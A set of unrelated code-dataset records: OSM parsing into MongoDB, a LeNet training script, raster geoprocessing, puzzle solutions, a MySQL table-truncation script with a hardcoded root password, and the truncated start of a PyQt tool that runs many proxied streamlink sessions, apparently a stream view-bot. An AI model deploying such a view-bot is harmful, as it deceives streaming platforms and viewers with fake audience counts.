self.node_repo.addNode(self.currentElement.id, snode)\n if (name == \"way\"):\n jway = json.dumps(self.currentElement, default=lambda x: x.__dict__)\n w = json.loads(jway)\n if ( self.currentType == \"building\" ):\n db.building.insert(w)\n if ( self.currentType == \"highway\") :\n db.highway.insert(w)\n if ( self.currentType == \"waterway\"):\n db.waterway.insert(w)\n if ( self.currentType == \"landuse\"):\n db.landuse.insert(w)\n self.currentType = \"none\"\n\n\nclient = MongoClient(port=27017)\ndb = client.OSM\ndb.building.drop()\ndb.highway.drop()\ndb.waterway.drop()\ndb.landuse.drop()\n\n\nparser = make_parser()\nb = OSMSax(db)\nparser.setContentHandler(b)\nparser.parse(\"C:\\\\Users\\\\marvi\\Desktop\\\\Programmieren\\\\Unity\\\\Project World\\\\deutz_small.osm\")\n#parser.parse(\"../osmfiles/hueckeswagen_big.osm\")\n","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":3759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"574603521","text":"import tensorflow as tf\r\nimport os\r\nimport time\r\nimport datetime\r\nfrom tensorflow.keras.datasets.cifar10 import load_data\r\nimport data_helpers as dh\r\nfrom lenet002 import LeNet\r\nimport math\r\n\r\ntf.logging.set_verbosity(tf.logging.ERROR)\r\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'True'\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\n\r\n# Hyperparameters\r\nSettings = {\r\n 'SET#1': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0,\r\n 'DATA_AUGMENTATION': False,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#2': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': False,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#3': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#4': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#5': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 1.0,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#6': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.01,\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#7': { # 3x3x16 레이어 추가\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#8': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.01, # 150에폭까지 0.01, 이후로는 0.05\r\n 'EPOCH': 250,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#9': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001, # 100에폭까지 0.001, 150에폭 까지 0.0005 이후 0.00025\r\n 'EPOCH': 200,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#10': {\r\n 'BATCH_SIZE': 100,\r\n 'LR': 0.001, # 100에폭까지 0.001, 150에폭 까지 0.0005, 200에폭까지 0.00025, 250에폭까지 0.0001\r\n 'EPOCH': 250,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#11': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001, # 100에폭까지 0.001, 200에폭 까지 0.0005 이후 0.0001\r\n 'EPOCH': 400,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#12': { # He\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001, # 250에폭까지 0.001, 350에폭 까지 0.0005 이후 0.0001\r\n 'EPOCH': 400,\r\n 'KEEP_PROB': 0.9,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#13': { # He, expo decay\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 300,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#14': { # He, expo decay\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 400,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#15': { # He, expo decay\r\n 'BATCH_SIZE': 64,\r\n 'LR': 0.001,\r\n 'EPOCH': 300,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#16': { # He, expo decay\r\n 'BATCH_SIZE': 256,\r\n 'LR': 0.001,\r\n 'EPOCH': 300,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 1,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#17': { # He, expo decay\r\n 'BATCH_SIZE': 64,\r\n 'LR': 0.001,\r\n 'EPOCH': 300,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.98,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#18': { # expo decay\r\n 'BATCH_SIZE': 64,\r\n 'LR': 0.001,\r\n 'EPOCH': 300,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#19': { # expo decay\r\n 'BATCH_SIZE': 64,\r\n 'LR': 0.001,\r\n 'EPOCH': 400,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.98,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#20': { # He, expo decay\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 400,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#21': { # expo decay\r\n 'BATCH_SIZE': 32,\r\n 'LR': 0.001,\r\n 'EPOCH': 400,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#22': { # 002 init\r\n 'BATCH_SIZE': 64,\r\n 'LR': 0.001,\r\n 'EPOCH': 300,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#23': {\r\n 'BATCH_SIZE': 128,\r\n 'LR': 0.001,\r\n 'EPOCH': 300,\r\n 'KEEP_PROB': 0.8,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n 'SET#24': { # filter stddev 002\r\n 'BATCH_SIZE': 64,\r\n 'LR': 0.001,\r\n 'EPOCH': 400,\r\n 'KEEP_PROB': 0.95,\r\n 'L2_REG_LAMBDA': 0.0001,\r\n 'DATA_AUGMENTATION': True,\r\n 'LR_DECAY': 0.99,\r\n 'DECAY_STEPS': 1000\r\n },\r\n}\r\n\r\n# Choose a setting\r\nsetting = Settings['SET#24']\r\n\r\n# clean flags, graph\r\ndef del_all_flags(FLAGS):\r\n flags_dict = FLAGS._flags()\r\n keys_list = [keys for keys in flags_dict]\r\n for keys in keys_list:\r\n FLAGS.__delattr__(keys)\r\n\r\n\r\ndel_all_flags(tf.flags.FLAGS)\r\ntf.reset_default_graph()\r\n\r\n# 플래그 오류\r\ntf.flags.DEFINE_string(\"f\", \"\", \"kernel\")\r\n\r\n# Model Hyperparameters\r\ntf.flags.DEFINE_float(\"lr\", setting['LR'], \"learning rate (default=0.1)\")\r\ntf.flags.DEFINE_float(\"lr_decay\", setting['LR_DECAY'], \"learning rate decay rate(default: 0.1)\")\r\ntf.flags.DEFINE_integer(\"decay_steps\", setting['DECAY_STEPS'], \"learning rate decay steps(default: 1000)\")\r\ntf.flags.DEFINE_float(\"l2_reg_lambda\", setting['L2_REG_LAMBDA'], \"L2 regularization lambda (default: 0.0)\")\r\ntf.flags.DEFINE_float(\"keep_prob\", setting['KEEP_PROB'], \"keep probability for dropout (default: 1.0)\")\r\ntf.flags.DEFINE_integer(\"num_classes\", 10, \"The number of classes (default: 10)\")\r\n\r\n# Training parameters\r\ntf.flags.DEFINE_integer(\"batch_size\", setting['BATCH_SIZE'], \"Batch Size (default: 64)\")\r\ntf.flags.DEFINE_integer(\"num_epochs\", setting['EPOCH'], \"Number of training epochs (default: 200)\")\r\ntf.flags.DEFINE_integer(\"evaluate_every\", 350, \"Evaluate model on dev set after this many steps (default: 100)\")\r\ntf.flags.DEFINE_integer(\"checkpoint_every\", 350, \"Save model after this many steps (default: 100)\")\r\ntf.flags.DEFINE_integer(\"num_checkpoints\", 3, \"Number of checkpoints to store (default: 5)\")\r\ntf.flags.DEFINE_boolean(\"data_augmentation\", setting['DATA_AUGMENTATION'], \"data augmentation option\")\r\n\r\n# Misc Parameters\r\ntf.flags.DEFINE_boolean(\"allow_soft_placement\", True, \"Allow device soft device placement\")\r\ntf.flags.DEFINE_boolean(\"log_device_placement\", False, \"Log placement of ops on devices\")\r\nFLAGS = tf.flags.FLAGS\r\n\r\n(x_train_val, y_train_val), (x_test, y_test) = load_data() # training data: 50000, test data: 10000\r\nx_train, y_train, x_test, y_test, x_val, y_val = dh.shuffle_data(x_train_val, y_train_val, x_test, y_test, FLAGS.num_classes)\r\nwith tf.Graph().as_default():\r\n session_conf = tf.ConfigProto(\r\n allow_soft_placement=FLAGS.allow_soft_placement,\r\n log_device_placement=FLAGS.log_device_placement)\r\n sess = tf.Session(config=session_conf)\r\n with sess.as_default():\r\n lenet = LeNet(FLAGS) #LeNet 클래스의 인스턴스 생성 후 Hyperparameter가 정의돼 있는 FLAGS로 초기화\r\n\r\n # Define Training procedure\r\n global_step = tf.Variable(0, name=\"global_step\", trainable=False) # iteration 수\r\n\r\n\r\n\r\n\r\n # * hint learning rate decay를 위한 operation을 통해 감쇠된 learning rate를 optimizer에 적용)\r\n decayed_lr = tf.train.exponential_decay(FLAGS.lr, global_step, FLAGS.decay_steps, FLAGS.lr_decay, staircase=True)\r\n # decayed_learning_rate = learning_rate * decay_rate ^ (global_step / decay_steps)\r\n\r\n # optimizer = tf.train.GradientDescentOptimizer(learning_rate=FLAGS.lr)\r\n optimizer = tf.train.AdamOptimizer(learning_rate=decayed_lr)\r\n # optimizer = tf.train.AdamOptimizer(learning_rate=FLAGS.lr) # Optimizer (step decay)\r\n grads_and_vars = optimizer.compute_gradients(lenet.loss) # grad_ient 계산\r\n train_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step) # back-propagation\r\n\r\n # Output directory for models and summaries\r\n timestamp = str(int(time.time()))\r\n out_dir = os.path.abspath(os.path.join(os.path.curdir, \"runs\", timestamp))\r\n print(\"Writing to {}\\n\".format(out_dir))\r\n\r\n # Summaries for loss and accuracy\r\n loss_summary = tf.summary.scalar(\"loss\", lenet.loss)\r\n acc_summary = tf.summary.scalar(\"accuracy\", lenet.accuracy)\r\n\r\n # Train Summaries\r\n train_summary_op = tf.summary.merge([loss_summary, acc_summary])\r\n train_summary_dir = os.path.join(out_dir, \"summaries\", \"train\")\r\n train_summary_writer = tf.summary.FileWriter(train_summary_dir, sess.graph)\r\n\r\n # Dev summaries\r\n dev_summary_op = tf.summary.merge([loss_summary, acc_summary])\r\n dev_summary_dir = os.path.join(out_dir, \"summaries\", \"dev\")\r\n dev_summary_writer = tf.summary.FileWriter(dev_summary_dir, sess.graph)\r\n\r\n # Checkpoint directory. Tensorflow assumes this directory already exists so we need to create it\r\n checkpoint_dir = os.path.abspath(os.path.join(out_dir, \"checkpoints\"))\r\n checkpoint_prefix = os.path.join(checkpoint_dir, \"model\")\r\n if not os.path.exists(checkpoint_dir):\r\n os.makedirs(checkpoint_dir)\r\n saver = tf.train.Saver(tf.global_variables(), max_to_keep=FLAGS.num_checkpoints)\r\n\r\n sess.run(tf.global_variables_initializer()) # 모든 가중치 초기화\r\n\r\n def train_step(x_batch, y_batch):\r\n feed_dict = {\r\n lenet.X: x_batch,\r\n lenet.Y: y_batch,\r\n lenet.keep_prob: FLAGS.keep_prob,\r\n }\r\n _, step, summaries, loss, accuracy = sess.run(\r\n [train_op, global_step, train_summary_op, lenet.loss, lenet.accuracy],\r\n feed_dict) # * hint learning rate decay operation 실행\r\n time_str = datetime.datetime.now().isoformat()\r\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, accuracy))\r\n train_summary_writer.add_summary(summaries, step)\r\n\r\n def dev_step(x_batch, y_batch, writer=None):\r\n \"\"\"\r\n Evaluates model on a dev set\r\n \"\"\"\r\n feed_dict = {\r\n lenet.X: x_batch,\r\n lenet.Y: y_batch,\r\n lenet.keep_prob: 1.0,\r\n }\r\n step, summaries, loss, accuracy = sess.run(\r\n [global_step, dev_summary_op, lenet.loss, lenet.accuracy],\r\n feed_dict)\r\n time_str = datetime.datetime.now().isoformat()\r\n print(\"{}: step {}, loss {:g}, acc {:g}\".format(time_str, step, loss, accuracy))\r\n if writer:\r\n writer.add_summary(summaries, step)\r\n return accuracy\r\n\r\n # Generate batches\r\n if FLAGS.data_augmentation: # data augmentation 적용시\r\n batches = dh.batch_iter_aug(x_train, y_train, FLAGS.batch_size, FLAGS.num_epochs)\r\n else:\r\n batches = dh.batch_iter(x_train, y_train, FLAGS.batch_size, FLAGS.num_epochs)\r\n # Training loop. For each batch...\r\n max = 0\r\n start_time = time.time()\r\n\r\n for batch in batches: # len(batches) = (45000/batch size) * epoch 수\r\n x_batch, y_batch = zip(*batch) # batch size 단위로 input과 정답 리턴, e.g., (128, 32, 32, 3), (128, 10),\r\n train_step(x_batch, y_batch)\r\n current_step = tf.train.global_step(sess, global_step)\r\n # if current_step == 352*200:\r\n # FLAGS.lr *= 0.0005\r\n # if current_step == 352*350:\r\n # FLAGS.lr = 0.0001\r\n # if current_step == 352*200:\r\n # FLAGS.lr = 0.001\r\n if current_step % FLAGS.evaluate_every == 0: # 특정 iteration 마다\r\n print(\"\\nEvaluation:\")\r\n accuracy = dev_step(x_val, y_val, writer=dev_summary_writer) # validation accuracy 확인\r\n print(\"\")\r\n if accuracy > max: # validation accuracy가 경신될 때\r\n max = accuracy\r\n path = saver.save(sess, checkpoint_prefix, global_step=current_step) # best accuracy에 도달할 때만 모델을 저장함으로써 early stopping\r\n print(\"Saved model checkpoint to {}\\n\".format(path))\r\n training_time = (time.time() - start_time) / 60\r\n print('Learning Finished!')\r\n print('Validation Max Accuracy:', max)\r\n print('Early stopped time:', math.ceil(current_step/704))\r\n print('training time: ', training_time)\r\n\r\n","sub_path":"Assignments/Assignment#3/LeNet_tf/lenet_train.py","file_name":"lenet_train.py","file_ext":"py","file_size_in_byte":14836,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"506597016","text":"with open(\"./input.txt\", 'r') as input:\n floor, position, counter = 0,0,1\n for char in input.readline():\n if char == '(':\n floor+=1\n elif char == ')':\n floor-=1\n if position==0 and floor == -1:\n position = counter\n counter+=1\n print(floor, position)\n","sub_path":"15/1/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"645662580","text":"# ############################################################################################################# #\n# Assingment 4 Geoprocessing with python #\n# (c) Simon Spengler, Humboldt-Universität zu Berlin, 10/15/2019 #\n# ####################################### LOAD REQUIRED LIBRARIES ############################################# #\nimport time\nimport os\nimport gdal\nimport numpy as np\n# ####################################### SET TIME-COUNT ###################################################### #\nstarttime = time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime())\nprint(\"--------------------------------------------------------\")\nprint(\"Starting process, time: \" + starttime)\nprint(\"\")\n# ####################################### FOLDER PATHS & global variables ##################################### #\npath = \"C:/Users/Simon Spengler/PycharmProjects/untitled1/week4/\"\nos.chdir(path)\nfilelist = os.listdir(path)\n# ####################################### FUNCTIONS ########################################################### #\n\ndef overlapExtent(rasterPathlist):\n # create empty lists for the bounding coordinates and the overlap extent\n ul_x_list = []\n ul_y_list = []\n lr_x_list = []\n lr_y_list = []\n overlap_extent = []\n for path in rasterPathlist: # loop through all raster files\n raster = gdal.Open(path) # open the raster\n\n gt = raster.GetGeoTransform() # get geo transform data\n ul_x = gt[0] # upper left x coordinate\n ul_y = gt[3] # upper left y coordinate\n lr_x = ul_x + (gt[1] * raster.RasterXSize) # calculate lower right x with upper left x coordinate + number of pixels * pixel size\n lr_y = ul_y + (gt[5] * raster.RasterYSize) # calculate lower right y with upper left y coordinate + number of pixels * pixel size\n #append bbox of every raster to the lists\n ul_x_list.append(ul_x)\n ul_y_list.append(ul_y)\n lr_x_list.append(lr_x)\n lr_y_list.append(lr_y)\n #calculate the bounding box coorinates\n overlap_extent.append(max(ul_x_list))\n overlap_extent.append(min(ul_y_list))\n overlap_extent.append(min(lr_x_list))\n overlap_extent.append(max(lr_y_list))\n\n return overlap_extent\n\n\ndef img_subset(raster, subset, coordinates=True, multiband=False):\n \"\"\"\n Subsets a given raster to a set of coordinates [subset] into an array.\n When subset is given as list of geographic coordinates, they will be transformed to array indices.\n When subset is given as array indices, image will be subsetted. Indices must be in format [ulx, uly,lrx,lry]\n Bool-Arguments don't have to be specified, when called. Defaults to function definition.\n :param raster:\n :param subset:\n :param coordinates:\n :param multiband:\n :return array:\n \"\"\"\n if coordinates:\n gt = raster.GetGeoTransform()\n inv_gt = gdal.InvGeoTransform(gt)\n app_gt_offset_upperleft = gdal.ApplyGeoTransform(inv_gt , subset[0], subset[1])\n app_gt_offset_lowerright = gdal.ApplyGeoTransform(inv_gt , subset[2], subset[3])\n off_ulx , off_uly = map(int , app_gt_offset_upperleft)\n off_lrx , off_lry = map(int , app_gt_offset_lowerright)\n rows = off_lry - off_uly\n columns = off_lrx - off_ulx\n # idx = [off_ulx, off_uly, columns, rows ]\n array = raster.ReadAsArray(off_ulx , off_uly , columns , rows)\n return array\n else:\n idx = subset\n\n if gdal:\n array = raster.ReadAsArray(idx[0], idx[1],\n idx[2] - idx[0],\n idx[3] - idx[1])\n else:\n if multiband:\n array = raster[:, idx[0]:idx[2], idx[1]:idx[3]]\n else:\n array = raster[idx[0]:idx[2], idx[1]:idx[3]]\n return array\n\n\n# ####################################### PROCESSING ########################################################## #\n\ncommon_extent = overlapExtent(filelist) #calculate common extent\nprint(\"common extent\", \"\\n\",common_extent)\n\nraster_subsets = [] # create empty list for raster subset arrays\n\nfor file in filelist: # iterate through all images\n raster = gdal.Open(file) # open the raster\n subset_array = img_subset(raster, common_extent) # subset image to common extent\n raster_subsets.append(subset_array) # append to list\n\n\nfor image in raster_subsets: # iterate through all subsets\n mean = round(np.mean(image),2) #calculate mean\n median = np.median(image) #calculate median\n min = np.min(image) #calculate minimum\n max = np.max(image) #calculate maximum\n range = max - min # calculate range\n sta_dev = round(np.std(image), 2) # calculate standard deviation\n print(\"mean:\", mean, \"median:\", median,\"min:\", min,\"max:\", max, \"standard deviation:\", sta_dev,\"range: \", range)\n\n\n# ####################################### END TIME-COUNT AND PRINT TIME STATS################################## #\nprint(\"\")\nendtime = time.strftime(\"%a, %d %b %Y %H:%M:%S\", time.localtime())\nprint(\"--------------------------------------------------------\")\nprint(\"start: \" + starttime)\nprint(\"end: \" + endtime)\nprint(\"\")","sub_path":"assignment4.py","file_name":"assignment4.py","file_ext":"py","file_size_in_byte":5204,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"573112104","text":"#import smbus\n##import time\n\nimport MySQLdb\n\n# Open database connection\ndb = MySQLdb.connect(\"localhost\",\"root\",\"delta5fpv\",\"vtx\" )\n\n# prepare a cursor object using cursor() method\ncursor = db.cursor()\n\n# Prepare SQL query to INSERT a record into the database.\nsql = \"TRUNCATE TABLE races\"\ntry:\n # Execute the SQL command\n cursor.execute(sql)\n # Commit your changes in the database\n db.commit()\nexcept:\n # Rollback in case there is any error\n db.rollback()\n\n# disconnect from server\ndb.close()\n\n\n##i2c = smbus.SMBus(1)\n##addr = 8 # address of the arduino I2C\n##\n#### reset the lap to 0\n##i2c.write_byte_data(addr, 0x0B, 0)\n##time.sleep(0.5)\n","sub_path":"RPi/VTX/clearDB.py","file_name":"clearDB.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"581909658","text":"'''\nFind the sum of all the primes not greater than given N.\n'''\n#!/bin/python3\nfrom math import sqrt\ndef isprime(n):\n '''\n Function to find if n is a prime or not\n Returns True if n is prime else False\n '''\n j = 2\n sq_rt_n = int(sqrt(n))\n while j <= sq_rt_n:\n # check if divisible by j\n if n%j == 0:\n return False\n # skipping even numbers\n if j > 2:\n j += 2\n else:\n j += 1\n return True\n\n# list to store primes and their cumulative sums\nprime_summation = [[0,0],[1,0],[2,2]]\nfor _ in range(int(input().strip())):\n N = int(input().strip())\n num = prime_summation[-1][0]\n while num < N:\n num = num + 1\n if isprime(num):\n sum = num + prime_summation[-1][1]\n prime_summation.append([num, sum])\n print(prime_summation[N][1])","sub_path":"Project Euler/euler010-Summation of primes.py","file_name":"euler010-Summation of primes.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"184376247","text":"\"\"\"Exceptions module.\"\"\"\n\n\nAPI_BAD_DATA = 400\nAPI_INTERNAL_ERROR = 500\n\nclass ApiException(Exception):\n \"\"\"Exception for handling API call exceptions.\"\"\"\n\n def __init__(self, message: str, status: int):\n \"\"\"API Exception init.\n\n Args:\n message (str): Error message.\n status (int): API status code.\n \"\"\"\n self.status = status\n self.message = message\n super().__init__(self.message)\n\n\nclass BadDataApiException(ApiException):\n def __init__(self, message: str):\n self.status = API_BAD_DATA\n self.message = message\n super().__init__(self.message, self.status)\n\n\nclass InternalErrorApiException(ApiException):\n def __init__(self, message: str):\n self.status = API_INTERNAL_ERROR\n self.message = message\n super().__init__(self.message, self.status)\n","sub_path":"app/utils/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"454597739","text":"EXCLUDED = [\n # 'projects',\n # 'homework',\n # 'lectures',\n 'exams',\n 'administrative'\n #'practice_exams',\n 'labs',\n 'build.sh',\n 'zip_it.py',\n 'build_navigator.py',\n 'notebook-to-script.py',\n 'my_token.py',\n 'index.html',\n 'index.md',\n 'drafts',\n '_drafts',\n 'solutions',\n 'cpd.db',\n 'build',\n '.pyc',\n '__pycache__',\n '.ipynb_checkpoints',\n '.DS_Store',\n # 'images',\n '_site',\n '.vscode',\n #'lecture24.*.csv'\n]\n","sub_path":"course-files/build/excluded.py","file_name":"excluded.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"39802248","text":"from PyQt5 import QtCore, QtGui, QtWidgets\nfrom PyQt5.QtWidgets import QApplication, QWidget, QInputDialog, QLineEdit, QFileDialog\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nimport concurrent.futures, time, random, os, sys\nfrom configparser import ConfigParser\nimport webbrowser\nimport subprocess\n\n\ndef except_hook(cls, exception, traceback):\n sys.__excepthook__(cls, exception, traceback)\n global error\n error = exception\n\nif not os.path.isfile('config.ini'):\n print('config is missing generating')\n config = ConfigParser()\n config.read('config.ini')\n config.add_section('main')\n config.set('main', 'url', '')\n config.set('main', 'proxy', '')\n config.set('main', 'botcount', '5')\n with open('config.ini', 'w') as f:\n config.write(f)\n\n\nconfig = ConfigParser()\nconfig.read('config.ini')\nstreamlinkpath = os.path.join(os.getcwd(), 'streamlink.bat')\n\nclass Worker(QRunnable):\n def __init__(self, proxy, url):\n self.proxy = proxy\n self.channelurl = url\n\n @pyqtSlot()\n def startbots(self):\n time.sleep(random.randint(5, 20))\n print(os.system(f'{streamlinkpath} --player-no-close --player-http --player-args --no-audio --hls-segment-timeout 30 --hls-segment-attempts 3 --retry-open 1 --retry-streams 1 --retry-max 1 --http-stream-timeout 3600 --http-proxy {self.proxy} --https-proxy {self.proxy} {self.channelurl} worst'))\n os.system(f'{streamlinkpath} --player-no-close --player-http --player-args --no-audio --hls-segment-timeout 30 --hls-segment-attempts 3 --retry-open 1 --retry-streams 1 --retry-max 1 --http-stream-timeout 3600 --http-proxy {self.proxy} {self.channelurl} worst')\n\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.setFixedSize(528, 273)\n MainWindow.setStyleSheet(\"QToolTip\\n\"\n\"{\\n\"\n\" border: 1px solid black;\\n\"\n\" background-color: #ffa02f;\\n\"\n\" padding: 1px;\\n\"\n\" border-radius: 3px;\\n\"\n\" opacity: 100;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QWidget\\n\"\n\"{\\n\"\n\" color: #b1b1b1;\\n\"\n\" background-color: #323232;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QTreeView, QListView\\n\"\n\"{\\n\"\n\" background-color: silver;\\n\"\n\" margin-left: 5px;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QWidget:item:hover\\n\"\n\"{\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #ca0619);\\n\"\n\" color: #000000;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QWidget:item:selected\\n\"\n\"{\\n\"\n\" background-color: QLinearGradient( x1: 0, y1: 0, x2: 0, y2: 1, stop: 0 #ffa02f, stop: 1 #d7801a);\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMenuBar::item\\n\"\n\"{\\n\"\n\" background: transparent;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMenuBar::item:selected\\n\"\n\"{\\n\"\n\" background: transparent;\\n\"\n\" border: 1px solid #ffaa00;\\n\"\n\"}\\n\"\n\"\\n\"\n\"QMenuBar::item:pressed\\n\"\n\"{\\n\"\n\" background: #444;\\n\"\n\" border: 1px solid #000;\\n\"\n\" background-color: QLinearGradient(\\n\"\n\" x1:0, y1:0,\\n\"\n\" x2:0, y2:1,\\n\"\n\" stop:1 #212121,\\n\"\n\" stop:0.4 #343434/*,\\n\"\n\" stop:0.2 #343434,\\n\"\n\" stop:0.1 #ffaa00*/\\n\"\n\" );\\n\"\n\" margin-bottom:-1px;\\n\"\n\" 